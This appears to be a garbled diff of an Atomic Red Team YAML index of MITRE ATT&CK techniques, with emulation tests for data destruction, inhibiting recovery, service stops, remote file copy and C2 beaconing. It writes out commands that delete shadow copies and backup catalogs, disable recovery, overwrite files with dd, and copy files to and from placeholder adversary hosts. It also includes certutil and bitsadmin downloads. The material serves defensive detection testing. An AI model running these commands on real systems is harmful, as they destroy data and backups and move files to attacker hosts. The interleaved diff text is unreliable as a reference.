source_name: mitre-attack - url: https://attack.mitre.org/techniques/T1485 - - url: https://www.symantec.com/connect/blogs/shamoon-attacks - source_name: Symantec Shamoon 2012 - description: Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March - 14, 2019. - - url: https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html - source_name: FireEye Shamoon Nov 2016 - description: FireEye. (2016, November 30). FireEye Responds to Wave of Destructive - Cyber Attacks in Gulf Region. Retrieved January 11, 2017. - - url: http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/ - source_name: Palo Alto Shamoon Nov 2016 - description: 'Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack - Wiper. Retrieved January 11, 2017.' - - url: https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf - source_name: Kaspersky StoneDrill 2017 - description: 'Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: - Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.' - - url: https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/ - source_name: Unit 42 Shamoon3 2018 - description: Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas - Organization. Retrieved March 14, 2019. - - url: https://blog.talosintelligence.com/2018/02/olympic-destroyer.html - source_name: Talos Olympic Destroyer 2018 - description: Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer - Takes Aim At Winter Olympics. Retrieved March 14, 2019. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_data_sources: - - File monitoring - - Process command-line parameters - - Process monitoring - modified: '2019-04-29T13:41:08.639Z' - x_mitre_detection: Use process monitoring to monitor the execution and command-line - parameters of binaries that could be involved in data destruction activity, - such as [SDelete](https://attack.mitre.org/software/S0195). Monitor for the - creation of suspicious files as well as high unusual file modification activity. - In particular, look for large quantities of file modifications in user directories - and under C:\Windows\System32\. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - - Windows - kill_chain_phases: - - phase_name: impact - kill_chain_name: mitre-attack - x_mitre_impact_type: - - Availability - id: attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c - name: Data Destruction - created: '2019-03-14T18:47:17.701Z' - x_mitre_version: '1.0' - type: attack-pattern - description: |- - Adversaries may destroy data data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018)(Citation: Talos Olympic Destroyer 2018) Common operating system file deletion commands such as del and rm often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from [Disk Content Wipe](https://attack.mitre.org/techniques/T1488) and [Disk Structure Wipe](https://attack.mitre.org/techniques/T1487) because individual files are destroyed rather than sections of a storage disk or the disk's logical structure. - - Adversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable.(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) In some cases politically oriented image files have been used to overwrite data.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017) - - To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [Credential Dumping](https://attack.mitre.org/techniques/T1003), and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Talos Olympic Destroyer 2018) - x_mitre_permissions_required: - - User - - Administrator - - root - - SYSTEM - identifier: T1485 - atomic_tests: - - name: Windows - Delete Volume Shadow Copies - description: 'Deletes Windows Volume Shadow Copies. This technique is used by - numerous ransomware families and APT malware such as Olympic Destroyer. - -' - supported_platforms: - - windows + default: adversary-host + local_path: + description: Local path to receive rsync + type: Path + default: "/tmp/victim-files" executor: - name: command_prompt - elevation_required: true - command: 'vssadmin.exe delete shadows /all /quiet + name: bash + command: 'rsync -r #{username}@#{remote_host}:#{remote_path} #{local_path} ' - - name: Windows - Delete Windows Backup Catalog - description: 'Deletes Windows Backup Catalog. This technique is used by numerous - ransomware families and APT malware such as Olympic Destroyer. + - name: scp remote file copy (push) + description: 'Utilize scp to perform a remote file copy (push) ' supported_platforms: - - windows - executor: - name: command_prompt - elevation_required: true - command: 'wbadmin.exe delete catalog -quiet + - linux + - macos + input_arguments: + local_file: + description: Path of file to copy + type: Path + default: "/tmp/adversary-scp" + username: + description: User account to authenticate on remote host + type: String + default: victim + remote_host: + description: Remote host to copy toward + type: String + default: victim-host + remote_path: + description: Remote path to receive scp + type: Path + default: "/tmp/victim-files/" + executor: + name: bash + command: 'scp #{local_file} #{username}@#{remote_host}:#{remote_path} + +' + - name: scp remote file copy (pull) + description: 'Utilize scp to perform a remote file copy (pull) ' - - name: Windows - Disable Windows Recovery Console Repair - description: "Disables repair by the Windows Recovery Console on boot. \nThis - technique is used by numerous ransomware families and APT malware such as - Olympic Destroyer.\n" - supported_platforms: - - windows - executor: - name: command_prompt - elevation_required: true - command: | - bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures - bcdedit.exe /set {default} recoveryenabled no - - name: Windows - Overwrite file with Sysinternals SDelete - description: | - Overwrites and deletes a file using Sysinternals SDelete. - Requires the download of either Sysinternals Suite or the individual SDelete utility. supported_platforms: - - windows + - linux + - macos input_arguments: - file_to_overwrite: - description: Path of file to overwrite and remove + remote_file: + description: Path of file to copy type: Path - default: C:\some\file.txt + default: "/tmp/adversary-scp" + username: + description: User account to authenticate on remote host + type: String + default: adversary + remote_host: + description: Remote host to copy from + type: String + default: adversary-host + local_path: + description: Local path to receive scp + type: Path + default: "/tmp/victim-files/" executor: - name: command_prompt - command: 'sdelete.exe #{file_to_overwrite} + name: bash + command: 'scp #{username}@#{remote_host}:#{remote_file} #{local_path} ' - - name: macOS/Linux - Overwrite file with DD - description: | - Overwrites and deletes a file using DD. + - name: sftp remote file copy (push) + description: 'Utilize sftp to perform a remote file copy (push) - To stop the test, break the command with CTRL/CMD+C. +' supported_platforms: - - centos - linux - macos - - ubuntu input_arguments: - overwrite_source: - description: Path of data source to overwrite with + local_file: + description: Path of file to copy type: Path - default: "/dev/zero" - file_to_overwrite: - description: Path of file to overwrite and remove + default: "/tmp/adversary-sftp" + username: + description: User account to authenticate on remote host + type: String + default: victim + remote_host: + description: Remote host to copy toward + type: String + default: victim-host + remote_path: + description: Remote path to receive sftp type: Path - default: "/var/log/syslog" + default: "/tmp/victim-files/" executor: name: bash - command: dd of=#{file_to_overwrite} if=#{overwrite_source} - '': - technique: - external_references: - - external_id: T1493 - source_name: mitre-attack - url: https://attack.mitre.org/techniques/T1493 - - url: https://content.fireeye.com/apt/rpt-apt38 - source_name: FireEye APT38 Oct 2018 - description: 'FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved - November 6, 2018.' - - url: https://www.justice.gov/opa/press-release/file/1092091/download - source_name: DOJ Lazarus Sony 2018 - description: Department of Justice. (2018, September 6). Criminal Complaint - - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_data_sources: - - Packet capture - - Network protocol analysis - modified: '2019-04-26T18:49:11.705Z' - x_mitre_detection: Detecting the manipulation of data as at passes over a network - can be difficult without the appropriate tools. In some cases integrity verification - checks, such as file hashing, may be used on critical files as they transit - a network. With some critical processes involving transmission of data, manual - or out-of-band integrity checking may be useful for identifying manipulated - data. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - - Windows - kill_chain_phases: - - phase_name: impact - kill_chain_name: mitre-attack - x_mitre_impact_type: - - Integrity - id: attack-pattern--cc1e737c-236c-4e3b-83ba-32039a626ef8 - name: Transmitted Data Manipulation - created: '2019-04-09T16:08:20.824Z' - x_mitre_version: '1.0' - type: attack-pattern - description: "Adversaries may alter data en route to storage or other systems - in order to manipulate external outcomes or hide activity.(Citation: FireEye - APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating transmitted - data, adversaries may attempt to affect a business process, organizational - understanding, and decision making. \n\nManipulation may be possible over - a network connection or between system processes where there is an opportunity - deploy a tool that will intercept and change information. The type of modification - and the impact it will have depends on the target transmission mechanism as - well as the goals and objectives of the adversary. For complex systems, an - adversary would likely need special expertise and possibly access to specialized - software related to the system that would typically be gained through a prolonged - information gathering campaign in order to have the desired impact." - x_mitre_permissions_required: - - User - - Administrator - - root - - SYSTEM - atomic_tests: [] - T1490: - technique: - external_references: - - external_id: T1490 - source_name: mitre-attack - url: https://attack.mitre.org/techniques/T1490 - - url: https://blog.talosintelligence.com/2018/02/olympic-destroyer.html - source_name: Talos Olympic Destroyer 2018 - description: Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer - Takes Aim At Winter Olympics. Retrieved March 14, 2019. - - url: https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html - source_name: FireEye WannaCry 2017 - description: Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry - Malware Profile. Retrieved March 15, 2019. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Yonatan Gotlib, Deep Instinct - x_mitre_data_sources: - - Windows Registry - - Services - - Windows event logs - - Process command-line parameters - - Process monitoring - modified: '2019-04-29T13:52:06.387Z' - x_mitre_detection: |- - Use process monitoring to monitor the execution and command line parameters of binaries involved in inhibiting system recovery, such as vssadmin, wbadmin, and bcdedit. The Windows event logs, ex. Event ID 524 indicating a system catalog was deleted, may contain entries associated with suspicious activity. - - Monitor the status of services involved in system recovery. Monitor the registry for changes associated with system recovery features (ex: the creation of HKEY_CURRENT_USER\Software\Policies\Microsoft\PreviousVersions\DisableLocalPage). - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows - - macOS - - Linux - kill_chain_phases: - - phase_name: impact - kill_chain_name: mitre-attack - x_mitre_impact_type: - - Availability - id: attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a - name: Inhibit System Recovery - created: '2019-04-02T13:54:43.136Z' - x_mitre_version: '1.0' - type: attack-pattern - description: |- - Adversaries may delete or remove built-in operating system data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) Operating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486).(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) - - A number of native Windows utilities have been used by adversaries to disable or delete system recovery features: + command: 'sftp #{username}@#{remote_host}:#{remote_path} <<< $''put #{local_file}'' - * vssadmin.exe can be used to delete all volume shadow copies on a system - vssadmin.exe delete shadows /all /quiet - * [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) can be used to delete volume shadow copies - wmic shadowcopy delete - * wbadmin.exe can be used to delete the Windows Backup Catalog - wbadmin.exe delete catalog -quiet - * bcdedit.exe can be used to disable automatic Windows recovery features by modifying boot configuration data - bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no - x_mitre_permissions_required: - - Administrator - - root - - SYSTEM - - User - identifier: T1490 - atomic_tests: - - name: Windows - Delete Volume Shadow Copies - description: 'Deletes Windows Volume Shadow Copies. This technique is used by - numerous ransomware families and APT malware such as Olympic Destroyer. +' + - name: sftp remote file copy (pull) + description: 'Utilize sftp to perform a remote file copy (pull) ' supported_platforms: - - windows + - linux + - macos + input_arguments: + remote_file: + description: Path of file to copy + type: Path + default: "/tmp/adversary-sftp" + username: + description: User account to authenticate on remote host + type: String + default: adversary + remote_host: + description: Remote host to copy from + type: String + default: adversary-host + local_path: + description: Local path to receive sftp + type: Path + default: "/tmp/victim-files/" executor: - name: command_prompt - elevation_required: true - command: 'vssadmin.exe delete shadows /all /quiet + name: bash + command: 'sftp #{username}@#{remote_host}:#{remote_file} #{local_path} ' - - name: Windows - Delete Volume Shadow Copies via WMI - description: 'Deletes Windows Volume Shadow Copies via WMI. This technique is - used by numerous ransomware families and APT malware such as Olympic Destroyer. + - name: certutil download (urlcache) + description: 'Use certutil -urlcache argument to download a file from the web. + Note - /urlcache also works! ' supported_platforms: - windows + input_arguments: + remote_file: + description: URL of file to copy + type: Url + default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt + local_path: + description: Local path to place file + type: Path + default: Atomic-license.txt executor: name: command_prompt - elevation_required: true - command: 'wmic.exe shadowcopy delete + elevation_required: false + command: 'cmd /c certutil -urlcache -split -f #{remote_file} #{local_path} ' - - name: Windows - Delete Windows Backup Catalog - description: 'Deletes Windows Backup Catalog. This technique is used by numerous - ransomware families and APT malware such as Olympic Destroyer. + - name: certutil download (verifyctl) + description: 'Use certutil -verifyctl argument to download a file from the web. + Note - /verifyctl also works! ' supported_platforms: - windows - executor: - name: command_prompt - elevation_required: true - command: 'wbadmin.exe delete catalog -quiet - -' - - name: Windows - Disable Windows Recovery Console Repair - description: "Disables repair by the Windows Recovery Console on boot. \nThis - technique is used by numerous ransomware families and APT malware such as - Olympic Destroyer.\n" + input_arguments: + remote_file: + description: URL of file to copy + type: Url + default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt + local_path: + description: Local path to place file + type: Path + default: Atomic-license.txt + executor: + name: powershell + elevation_required: false + command: | + $datePath = "certutil-$(Get-Date -format yyyy_MM_dd_HH_mm)" + New-Item -Path $datePath -ItemType Directory + Set-Location $datePath + certutil -verifyctl -split -f #{remote_file} + Get-ChildItem | Where-Object {$_.Name -notlike "*.txt"} | Foreach-Object { Move-Item $_.Name -Destination #{local_path} } + - name: Windows - BITSAdmin BITS Download + description: | + This test uses BITSAdmin.exe to schedule a BITS job for the download of a file. + This technique is used by Qbot malware to download payloads. supported_platforms: - windows + input_arguments: + bits_job_name: + description: Name of the created BITS job + type: String + default: qcxjb7 + remote_file: + description: URL of file to copy + type: Url + default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt + local_path: + description: Local path to place file + type: Path + default: Atomic-license.txt executor: name: command_prompt - elevation_required: true - command: | - bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures - bcdedit.exe /set {default} recoveryenabled no - T1496: + command: 'C:\Windows\System32\bitsadmin.exe /transfer #{bits_job_name} /Priority + HIGH #{remote_file} #{local_path}' + T1071: technique: - external_references: - - external_id: T1496 - source_name: mitre-attack - url: https://attack.mitre.org/techniques/T1496 - - url: https://securelist.com/lazarus-under-the-hood/77908/ - source_name: Kaspersky Lazarus Under The Hood Blog 2017 - description: GReAT. (2017, April 3). Lazarus Under the Hood. Retrieved April - 17, 2019. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_data_sources: + - Packet capture + - Netflow/Enclave netflow - Process use of network + - Malware reverse engineering - Process monitoring - - Network protocol analysis - - Network device logs - modified: '2019-04-26T15:26:57.896Z' - x_mitre_detection: Consider monitoring process resource usage to determine anomalous - activity associated with malicious hijacking of computer resources such as - CPU, memory, and graphics processing resources. Monitor for suspicious use - of network resources associated with cryptocurrency mining software. Monitor - for common cryptomining software process names and files on local systems - that may indicate compromise and resource usage. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + name: Standard Application Layer Protocol + description: |- + Adversaries may communicate using a common, standardized application layer protocol such as HTTP, HTTPS, SMTP, or DNS to avoid detection by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. + + For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are RPC, SSH, or RDP. + id: attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6 x_mitre_platforms: - Linux - macOS - Windows - kill_chain_phases: - - phase_name: impact - kill_chain_name: mitre-attack - x_mitre_impact_type: - - Availability - id: attack-pattern--cd25c1b4-935c-4f0e-ba8d-552f28bc4783 - name: Resource Hijacking - created: '2019-04-17T14:50:05.682Z' + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_version: '1.0' type: attack-pattern - description: "Adversaries may leverage the resources of co-opted systems in - order to solve resource intensive problems which may impact system and/or - hosted service availability. \n\nOne common purpose for Resource Hijacking - is to validate transactions of cryptocurrency networks and earn virtual currency. - Adversaries may consume enough system resources to negatively impact and/or - cause affected machines to become unresponsive.(Citation: Kaspersky Lazarus - Under The Hood Blog 2017) Servers and cloud-based systems are common targets - because of the high potential for available resources, but user endpoint systems - may also be compromised and used for Resource Hijacking and cryptocurrency - mining." - x_mitre_permissions_required: - - User - - Administrator - identifier: T1496 + x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client + sending significantly more data than it receives from a server). Processes + utilizing the network that do not normally have network communication or have + never been seen before are suspicious. Analyze packet contents to detect application + layer protocols that do not follow the expected protocol for the port that + is being used. (Citation: University of Birmingham C2)' + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_network_requirements: true + created: '2017-05-31T21:30:56.776Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: command-and-control + external_references: + - external_id: T1071 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1071 + - source_name: University of Birmingham C2 + description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command + & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. + url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf + modified: '2019-06-21T15:16:29.198Z' + identifier: T1071 atomic_tests: - - name: macOS/Linux - Simulate CPU Load with Yes + - name: Malicious User Agents description: | - This test simulates a high CPU load as you might observe during cryptojacking attacks. - End the test by using CTRL/CMD+C to break. + This test simulates an infected host beaconing to command and control. + Inspired by APTSimulator - https://github.com/NextronSystems/APTSimulator/blob/master/test-sets/command-and-control/malicious-user-agents.bat + supported_platforms: + - windows + input_arguments: + domain: + description: Default domain to simulate against + type: string + default: www.google.com + executor: + name: powershell + elevation_required: false + command: | + Invoke-WebRequest #{domain} -UserAgent "HttpBrowser/1.0" | out-null + Invoke-WebRequest #{domain} -UserAgent "Wget/1.9+cvs-stable (Red Hat modified)" | out-null + Invoke-WebRequest #{domain} -UserAgent "Opera/8.81 (Windows NT 6.0; U; en)" | out-null + Invoke-WebRequest #{domain} -UserAgent "*<|>*" | out-null + - name: Malicious User Agents - Nix + description: | + This test simulates an infected host beaconing to command and control. + Inspired by APTSimulator - https://github.com/NextronSystems/APTSimulator/blob/master/test-sets/command-and-control/malicious-user-agents.bat supported_platforms: - - macos - - centos - - ubuntu - linux + - macos + input_arguments: + domain: + description: Default domain to simulate against + type: string + default: www.google.com executor: - name: bash - command: 'yes > /dev/null + name: sh + command: | + curl -s -A "HttpBrowser/1.0" -m3 #{domain} + curl -s -A "Wget/1.9+cvs-stable (Red Hat modified)" -m3 #{domain} + curl -s -A "Opera/8.81 (Windows NT 6.0; U; en)" -m3 #{domain} + curl -s -A "*<|>*" -m3 #{domain} + - name: DNS Large Query Volume + description: | + This test simulates an infected host sending a large volume of DNS queries to a command and control server. + The intent of this test is to trigger threshold based detection on the number of DNS queries either from a single source system or to a single targe domain. + supported_platforms: + - windows + input_arguments: + domain: + description: Default domain to simulate against + type: string + default: example.com + subdomain: + description: Subdomain prepended to the domain name + type: string + default: atomicredteam + query_type: + description: DNS query type + type: string + default: TXT + query_volume: + description: Number of DNS queries to send + type: integer + default: 1000 + executor: + name: powershell + elevation_required: false + command: 'for($i=0; $i -le #{query_volume}; $i++) { Resolve-DnsName -type + "#{query_type}" "#{subdomain}.$(Get-Random -Minimum 1 -Maximum 999999).#{domain}" + -QuickTimeout} ' - T1489: - technique: - external_references: - - external_id: T1489 - source_name: mitre-attack - url: https://attack.mitre.org/techniques/T1489 - - url: https://blog.talosintelligence.com/2018/02/olympic-destroyer.html - source_name: Talos Olympic Destroyer 2018 - description: Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer - Takes Aim At Winter Olympics. Retrieved March 14, 2019. - - url: https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf - source_name: Novetta Blockbuster - description: 'Novetta Threat Research Group. (2016, February 24). Operation - Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February - 25, 2016.' - - url: https://www.secureworks.com/research/wcry-ransomware-analysis - source_name: SecureWorks WannaCry Analysis - description: Counter Threat Unit Research Team. (2017, May 18). WCry Ransomware - Analysis. Retrieved March 26, 2019. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_data_sources: - - Process command-line parameters - - Process monitoring - - Windows Registry - - API monitoring - modified: '2019-04-29T13:55:03.017Z' - x_mitre_detection: |- - Monitor processes and command-line arguments to see if critical processes are terminated or stop running. - - Monitor Registry edits for modifications to services and startup programs that correspond to services of high importance. Look for changes to service Registry entries that do not correlate with known software, patch cycles, etc. Service information is stored in the Registry at HKLM\SYSTEM\CurrentControlSet\Services. - - Alterations to the service binary path or the service startup type changed to disabled may be suspicious. - - Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. For example, ChangeServiceConfigW may be used by an adversary to prevent services from starting.(Citation: Talos Olympic Destroyer 2018) - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + - name: DNS Regular Beaconing + description: | + This test simulates an infected host beaconing via DNS queries to a command and control server at regular intervals over time. + This behaviour is typical of implants either in an idle state waiting for instructions or configured to use a low query volume over time to evade threshold based detection. + supported_platforms: + - windows + input_arguments: + domain: + description: Default domain to simulate against + type: string + default: example.com + subdomain: + description: Subdomain prepended to the domain name + type: string + default: atomicredteam + query_type: + description: DNS query type + type: string + default: TXT + c2_interval: + description: Seconds between C2 requests to the command and control server + type: integer + default: 30 + c2_jitter: + description: Percentage of jitter to add to the C2 interval to create variance + in the times between C2 requests + type: integer + default: 20 + runtime: + description: Time in minutes to run the simulation + type: integer + default: 30 + executor: + name: powershell + elevation_required: false + command: ".\\T1071-dns-beacon.ps1 -Domain #{domain} -Subdomain #{subdomain} + -QueryType #{query_type} -C2Interval #{c2_interval} -C2Jitter #{c2_jitter} + -RunTime #{runtime}\n" + - name: DNS Long Domain Query + description: | + This test simulates an infected host returning data to a command and control server using long domain names. + The simulation involves sending DNS queries that gradually increase in length until reaching the maximum length. The intent is to test the effectiveness of detection of DNS queries for long domain names over a set threshold. + supported_platforms: + - windows + input_arguments: + domain: + description: Default domain to simulate against + type: string + default: example.com + subdomain: + description: Subdomain prepended to the domain name (should be 63 characters + to test maximum length) + type: string + default: atomicredteamatomicredteamatomicredteamatomicredteamatomicredte + query_type: + description: DNS query type + type: string + default: TXT + executor: + name: powershell + elevation_required: false + command: ".\\T1071-dns-domain-length.ps1 -Domain #{domain} -Subdomain #{subdomain} + -QueryType #{query_type}" + T1065: + technique: + x_mitre_data_sources: + - Netflow/Enclave netflow + - Process use of network + - Process monitoring + name: Uncommonly Used Port + description: Adversaries may conduct C2 communications over a non-standard port + to bypass proxies and firewalls that have been improperly configured. + id: attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0 x_mitre_platforms: + - Linux + - macOS - Windows - kill_chain_phases: - - phase_name: impact - kill_chain_name: mitre-attack - x_mitre_impact_type: - - Availability - id: attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b - name: Service Stop - created: '2019-03-29T19:00:55.901Z' + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_version: '1.0' type: attack-pattern - description: "Adversaries may stop or disable services on a system to render - those services unavailable to legitimate users. Stopping critical services - can inhibit or stop response to an incident or aid in the adversary's overall - objectives to cause damage to the environment.(Citation: Talos Olympic Destroyer - 2018)(Citation: Novetta Blockbuster) \n\nAdversaries may accomplish this by - disabling individual services of high importance to an organization, such - as MSExchangeIS, which will make Exchange content inaccessible - (Citation: Novetta Blockbuster). In some cases, adversaries may stop or disable - many or all services to render systems unusable.(Citation: Talos Olympic Destroyer - 2018) Services may not allow for modification of their data stores while running. - Adversaries may stop services in order to conduct [Data Destruction](https://attack.mitre.org/techniques/T1485) - or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) - on the data stores of services like Exchange and SQL Server.(Citation: SecureWorks - WannaCry Analysis)" - x_mitre_permissions_required: - - Administrator - - SYSTEM - - User - identifier: T1489 + x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client + sending significantly more data than it receives from a server). Processes + utilizing the network that do not normally have network communication or have + never been seen before are suspicious. Analyze packet contents to detect communications + that do not follow the expected protocol behavior for the port that is being + used. (Citation: University of Birmingham C2)' + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_network_requirements: true + created: '2017-05-31T21:30:53.408Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: command-and-control + external_references: + - external_id: T1065 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1065 + - source_name: University of Birmingham C2 + description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command + & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. + url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf + modified: '2019-07-17T21:08:30.100Z' + identifier: T1065 atomic_tests: - - name: Windows - Stop service using Service Controller - description: 'Stops a specified service using the sc.exe command. + - name: Testing usage of uncommonly used port with PowerShell + description: 'Testing uncommonly used port utilizing PowerShell ' supported_platforms: - windows input_arguments: - service_name: - description: Name of a service to stop + port: + description: Specify uncommon port number type: String - default: spooler + default: '8081' + domain: + description: Specify target hostname + type: String + default: google.com executor: - name: command_prompt - elevation_required: true - command: 'sc.exe stop #{service_name} + name: powershell + elevation_required: false + command: 'test-netconnection -ComputerName #{domain} -port #{port} ' - - name: Windows - Stop service using net.exe - description: 'Stops a specified service using the net.exe command. + - name: Testing usage of uncommonly used port + description: 'Testing uncommonly used port utilizing telnet. ' supported_platforms: - - windows + - linux + - macos input_arguments: - service_name: - description: Name of a service to stop + port: + description: Specify uncommon port number type: String - default: spooler - executor: - name: command_prompt - elevation_required: true - command: 'net.exe stop #{service_name} - -' - - name: Windows - Stop service by killing process - description: "Stops a specified service killng the service's process. \nThis - technique was used by WannaCry.\n" - supported_platforms: - - windows - input_arguments: - process_name: - description: Name of a process to kill + default: '8081' + domain: + description: Specify target hostname type: String - default: sqlwriter.exe + default: google.com executor: - name: command_prompt + name: sh elevation_required: false - command: 'taskkill.exe /f /im #{process_name} + command: 'telnet #{domain} #{port} ' initial-access: '': technique: - external_references: - - url: https://attack.mitre.org/techniques/T1078 - source_name: mitre-attack - external_id: T1078 - - external_id: CAPEC-560 - source_name: capec - url: https://capec.mitre.org/data/definitions/560.html - - url: https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts - source_name: Microsoft Local Accounts Feb 2019 - description: Microsoft. (2018, December 9). Local Accounts. Retrieved February - 11, 2019. - - url: https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/linux/ssh - source_name: Metasploit SSH Module - description: undefined. (n.d.). Retrieved April 12, 2019. - - url: https://technet.microsoft.com/en-us/library/dn535501.aspx - source_name: TechNet Credential Theft - description: Microsoft. (2016, April 15). Attractive Accounts for Credential - Theft. Retrieved June 3, 2016. - - url: https://technet.microsoft.com/en-us/library/dn487457.aspx - source_name: TechNet Audit Policy - description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved - June 3, 2016. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - type: attack-pattern - x_mitre_contributors: - - Mark Wee - - Praetorian x_mitre_data_sources: + - AWS CloudTrail logs + - Stackdriver logs - Authentication logs - Process monitoring - modified: '2019-04-16T20:36:46.182Z' - x_mitre_detection: "Configure robust, consistent account activity audit policies - across the enterprise and with externally accessible services. (Citation: - TechNet Audit Policy) Look for suspicious account behavior across systems - that share accounts, either user, admin, or service accounts. Examples: one - account logged into multiple systems simultaneously; multiple accounts logged - into the same machine simultaneously; accounts logged in at odd times or outside - of business hours. Activity may be from interactive login sessions or process - ownership from accounts being used to execute binaries on a remote system - as a particular account. Correlate other security systems with login information - (e.g., a user has an active login session but has not entered the building - or does not have VPN access).\n\nPerform regular audits of domain and local - system accounts to detect accounts that may have been created by an adversary - for persistence. Checks on these accounts could also include whether default - accounts such as Guest have been activated. These audits should also include - checks on any appliances and applications for default credentials or SSH keys, - and if any are discovered, they should be updated immediately. " - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - - Windows - kill_chain_phases: - - phase_name: defense-evasion - kill_chain_name: mitre-attack - - phase_name: persistence - kill_chain_name: mitre-attack - - phase_name: privilege-escalation - kill_chain_name: mitre-attack - - phase_name: initial-access - kill_chain_name: mitre-attack - id: attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81 + x_mitre_permissions_required: + - User + - Administrator name: Valid 